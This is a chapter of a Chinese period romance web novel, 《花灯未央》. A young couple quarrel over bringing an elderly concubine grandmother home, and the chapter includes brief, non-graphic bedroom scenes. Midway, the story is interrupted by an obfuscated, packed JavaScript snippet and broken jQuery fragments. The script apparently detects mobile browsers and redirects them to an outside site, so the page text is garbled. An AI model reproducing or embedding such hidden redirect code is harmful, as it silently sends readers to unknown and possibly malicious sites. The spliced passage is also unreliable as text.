35.分歧

作品:《花灯未央

    夜静烛火摇,映照着摆荡如波的红罗帐,若隐若现着两个如胶似漆的身影。


    “夫君……”


    赵明煙低吟喘息,紧搂着谭林霜的脖颈,以右足负床榻,配合谭林霜高举左腿,搭在其右肩之上。


    烛火微晃,谭林霜似丹鹤回旋,张翎不收。


    “哈…哈……”


    他的呼吸渐沉,将至妙境。


    赵明煙虚开一只眼,观察着他脸上的表情变化,适时地开口:“夫君,姑母拜托我向祖母说说情,把庶祖母接回府。”


    谭林霜动作一滞,睁眼垂首,目光如炬。


    “夫君?”


    明显感受到他的情绪从激昂降至冷然,还有他身体的僵硬,赵明煙有些忐忑,用右手轻抚他的后脖子,左手在他胸前来回画圈。


    “不行吗?”赵明煙嗫嚅问。


    谭林霜倏地抽身退离,径直下了床。


    “不行!”


    他来到水盆前,简单清洗后,才沉声开口。


    “不要再去见我姑母了,你这几次三番地跑去见她,以为我不知晓吗?”他的声音里明显带着责怪之意。


    一听这话,赵明煙当即被气笑,“怎么?现下有了夫妻之实,便可对我指手画脚了?”


    谭林霜甩了甩手上的水渍,转过了身,“我不会对你指手画脚,只会告诉你何事可为何事不可为?”


    “哈!”


    赵明煙再被气笑,“这还不叫指手画脚?”


    “谭秀才,就你这遣词造句的本事,能考上功名吗?”


    谭林霜不想与她争吵,随即捡起先前扔在地上的里衣,重新穿上后,躺回了床上,背对着赵明煙。


    赵明煙用余光瞥了一眼他的后脑勺,气得皱鼻子嘟嘴,一拉被子,翻了个身,也背对着他。


    “唰”一下,谭林霜盖在肩上的被子滑了下去,露出小半个肩头。


    他无奈地笑了一下,闭着眼却睡意全无。


    姑母…她究竟想作甚?


    这个问题,他于次日早上,在见到谭墨香后,当面问了出来。


    “我都回来了,怎可留你庶祖母独自在外?”谭墨香的答案更像是在反问。


    谭林霜拿起茶盏轻抿了一口,“庶祖母住在别庄,那里清净,不像府里,人多眼杂。”


    谭墨香也拿起茶盏,吹了吹上面的热气,“府里热闹些,反倒适宜二姨娘安度晚年。”


    “姑母怎知,我庶祖母喜闹不喜静?”谭林霜抬眸看着她。


    谭墨香微扬唇角,笑得意味深长,“咱们府里从前人丁兴旺,向来热闹。试问常年大鱼大肉的人让他突然吃素,他能适应吗?”


    “吃习惯了不就适应了,若是让他转头再吃荤,那又得适应一次。不管是被迫还是主动,既然已吃素多年,就不必重新吃荤,那样太折腾人。”谭林霜说道。


    谭墨香没有反驳此言,待茶面的热气氤氲而开,她埋首品茗少顷,才复又与谭林霜对视,依旧嘴角噙笑,“你祖母年纪大了,需要有个伴儿。”


    谭林霜微眯起了双眼,眸光渐渐深邃。


    这一刻,他在谭墨香未曾变化过的眼神里寻到了什么,遂豁然一笑。


    “祖母。”


    从贞节堂回来后,赵明煙来到主院,在书房里找到了正在抄写经书的范文澜。


    她飞快扫过书案上密密麻麻的经文,忽觉眼花耳鸣。


    揉了揉耳朵,她向范文澜行过礼后,便将织房的运作情况向其详细道来,而后深吸了一口气,垂首说道:“既然姑母已被接回,祖母可有考虑,将年事已高的庶祖母也接回府?”


    范文澜执笔的手一顿,一滴墨汁险些从笔尖垂落。


    她不动声色地抹了一下笔尖,继续下笔,“烟儿心善孝顺,总能替旁人着想。”


    赵明煙抿了抿唇,一时不知该如何接这话。


    她听出了话里的微词,换做平时,定会就此作罢,可今日她憋着一股无名火,准确来说,是从昨晚那场戛然而止的欢爱开始,她便心气不顺,早上被鸟叫吵醒,开窗就对着树上的鸟骂了几句,惊得小烛赶紧拉着阿筠过来赶鸟。


    可看着群鸟慌乱飞散,她又暗自懊恼,不该搅了鸟儿们的欢愉。


    好不容易平复了烦躁的心绪,去贞节堂跟庄大娘他们摆龙门阵时,聊起谭家的往事,听闻那位二姨娘的遭遇,再回想起谭墨香的恳切眼神,她的心情再度翻涌。


    原来三姨娘不是最惨的,最惨的是夹在中间的二姨娘。


    据闻,在范文澜怀上长子后,担心谭老爷子将通房抬为妾室,便将其许配给了一名竹匠,又将家中一位远房表妹接来府邸,自作主张送上了谭老爷子的床榻,待生米煮成熟饭,顺理成章让她当了妾室。


    那位远房表妹便是二姨娘。


    按理说,她既为范文澜的亲戚,亦是乡绅出身,理应受宠,然,不管是她,还是范文澜,都没摸清谭老爷子的真实想法。


    只因,他们不是男子。


    俗话说,娶妻娶贤,纳妾纳美。


    二姨娘虽说长相端正,又知书达理,却是个木讷的性子,不得谭老爷子的欢心,没过多久,谭老爷子还是纳了一位美妾回来,她便是三姨娘,谭墨香的母亲。


    自此,二姨娘的床榻余温尚在,但欢爱全无,还能怀上子嗣,全靠三姨娘每月来事时,正值盛年的谭老爷子耐不住寂寞闭眼睡了她。


    范文澜的次子也是这样孕育上的。


    用旁人的话来说,她的一双儿女,以及谭墨竹,能来到人世,皆凭运气。


    但显然,她的一双儿女远没有谭墨竹幸运,在瘟疫期间,相继病逝。


    没有子嗣傍身,又不得宠幸,范文澜也怪她不会争宠,最后沦为谭府后宅一朵无人问津的昨日黄花。


    可即便昨夜西风凋碧树,黄花依旧挂枝头,无人问津,反倒能避开祸事,安然一隅,不像三姨娘,离奇暴毙。


    却不想,谭老爷子一死,她连那单薄的枝头也无法立足,竟被范文澜打发去了祖坟,终日与陌生的谭氏祖宗为伴,守着不爱自己自己可能也不爱的亡夫墓碑,浑浑噩噩。


    她的晚年不该那样度过!


    这是谭墨香的原话,也是赵明煙此刻的心声。


    她鼓起勇气,沉声开口:“祖母,庶祖母的年纪大了,不再适合看守祖坟,而应接回府,安享晚年。”


    范文澜终于放下了毛笔,抬起了头。


    她的面容仍是慈祥,可一双眸子却锐利如芒刺,只那么定定地看着赵明煙,就迫使她不敢再多言一句。


    顷刻间,她便觉后背发凉……


    “明煙说的没错,庶祖母年纪大了,谭家庄湿气太重,不宜养老,再说了,祖母这些年鲜少出门,把她接回府与你作伴,我们这些做小辈的才能安心。”


    僵持之际,谭林霜蓦地逆光而入。


    赵明煙转过头,看不清他于逆光中的表情,但他的语气分明迥异于昨晚,令她大惑不解。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967590|172933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    不过此时此刻,由他来打破僵局,赵明煙自然能松一口气。


    随即,她低着头站到谭林霜身后,只见他走来挽住了范文澜的胳膊,轻声笑语:“祖母,你不喜欢我们烦你,那就让庶祖母回来陪你好了,你们二人不是表姐妹吗?当年一同侍奉祖父,现下,便可携手赴黄昏。”


    闻言,赵明煙没忍住抽了一下嘴角。


    这家伙怎么判若两人了?


    昨晚说“不行”的那个去了哪里?


    “昨晚是昨晚,今夜是今夜。”


    夜阑人静时,谭林霜搂着先一步躺下的赵明煙,莞尔而语。


    峰回路转,他改变了想法,只是不太认可赵明煙的冲动行事。


    就算她是出于好意希望接庶祖母回府,那也该由他这个孙儿去说情,而非她这个孙媳。


    “娘子,往后这种事,你别直接去找祖母,先告诉我,我再去说。”他语重心长道。


    “我告诉‘昨晚的你’了,‘昨晚的你’说不行。”


    赵明煙冲他翻了个白眼儿,翻了个身,背对着他。


    谭林霜讪讪地揉了揉鼻子,“那你就不能耐着性子告诉‘今夜的我’吗?”


    赵明煙一撅屁股,撞了他一下,好似在说:我懒得理你!


    谭林霜笑了,没被撞疼,倒把心弄得有些痒痒,打算继续昨晚未完的云雨。


    “娘子……”


    他俯身抱住赵明煙,伸手探进了被子。


    啪——


    岂料,他的手刚触及赵明煙的里衣,就被她无情拍开。


    “我来月信了。”


    “这样啊……”


    谭林霜又是一阵讪讪。


    难怪火撒撒地,原来是月事至。


    可我们几乎夜夜锦被翻红浪,怎会还没怀上?


    是姿势不对吗?


    谭林霜挠挠头,心头的疑虑不敢问出,生怕又惹赵明煙不快。


    毕竟,她在房事上比自己更积极。


    问题定然不会出自她身上。


    当然,自己肯定也没问题。


    “那娘子你好生歇着。”


    他随即替赵明煙掖好被子,然后小心翼翼地钻进被窝,轻轻搂住了她,“娘子可有觉着哪里不适?”


    “你贴得太紧了,热得慌。”赵明煙不悦道。


    旋即,谭林霜往后一缩,与她隔开些距离。


    沉默良久,他思来想去,还是委婉地提醒了一句:“娘子,你想见姑母没问题,但别太频繁,祖母会介意。”


    “她当然会介意!”赵明煙冷哼着开口。


    她猛地扭过头,阴阳怪气地说:“若要人不知除非己莫为,她怕我与姑母见得多了,会知晓那些被她隐藏多年的秘密,破坏她菩萨低眉的形象。”


    “什么秘密?”


    谭林霜骤然皱眉,一层寒霜覆上了眸子。


    但赵明煙没能看清他此刻的表情,在月事的影响下,一股脑把从庄大娘那里听来的往事一件件道出,听得谭林霜面色发沉。


    有其母必有其子,单看祖母对姑母的态度,以及个中手段,那养济院的藏污纳垢,想必她不会不知情。


    “庄大娘为何如此清楚我们家的事?”谭林霜忽然问道。


    “啊?”赵明煙顿时愣住。


    谭林霜虚起了眸子,瞳孔渐渐缩小,“又为何总把我们谭家的往事作为聊资?”


    “娘子,这个中缘由,你可曾仔细琢磨过?”